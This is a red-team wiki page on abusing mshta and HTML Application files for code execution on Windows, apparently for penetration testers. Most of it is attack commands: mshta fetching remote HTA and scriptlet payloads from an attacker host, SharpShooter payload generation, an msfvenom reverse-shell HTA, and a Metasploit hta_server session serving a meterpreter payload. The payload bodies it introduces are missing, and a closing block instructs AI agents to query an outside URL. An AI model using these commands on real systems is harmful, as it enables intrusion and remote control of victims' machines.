# MSHTA ## Theroy ### An HTML Application (HTA) HTA stands for “HTML Application.” It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered. HTML Applications, also known as HTAs, which are dynamic HTML pages containing JScript and VBScript. The LOLBINS (Living-of-the-land Binaries) tool mshta is used to execute HTA files. It can be executed by itself or automatically from Internet Explorer. ## Practice {% tabs %} {% tab title="Basic HTA" %} In the following example, we will use an ActiveXObject in our payload as proof of concept to execute cmd.exe. Consider the following HTML code. ```bash #http://10.0.0.5/m.hta ``` We can now execute the script on the target machine ```bash mshta.exe http://10.0.0.5/m.hta ``` {% endtab %} {% tab title="scriptlet" %} Writing a scriptlet file that will launch cmd.exe when invoked: ```bash #http://10.0.0.5/m.sct ``` We can now execute the script on the target machine ```bash # from powershell cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close(); ``` {% endtab %} {% tab title="SharpShooter" %} Using [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter/tree/master), we can create a payload that will retrieve and execute arbitrary CSharp source code (.NET). ```bash python2 SharpShooter.py --payload hta --rawscfile ~/sharpshooter.raw --dotnetver 2 --output test --stageless ``` {% endtab %} {% tab title="msfvenom" %} We can use the msfvenom framework to generate hta files. ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f hta-psh -o m.hta ``` We can now execute the script on the target machine ```bash mshta.exe http://10.0.0.5/m.hta ``` {% endtab %} {% tab title="metasploit" %} We can use the metasploit framework to generate hta files and directly serv it throught our webserver. ```bash msf6 > use exploit/windows/misc/hta_server msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37 LHOST => 10.8.232.37 msf6 exploit(windows/misc/hta_server) > set LPORT 443 LPORT => 443 msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37 SRVHOST => 10.8.232.37 msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(windows/misc/hta_server) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf6 exploit(windows/misc/hta_server) > [*] Started reverse TCP handler on 10.8.232.37:443 [*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta [*] Server started. ``` On the victim machine, once we visit the malicious HTA file that was provided as a URL by Metasploit, we should receive a reverse connection. {% endtab %} {% endtabs %} ## Resources {% embed url="" %} {% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://red.infiltr8.io/redteam/weapon/code-execution/mshta.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.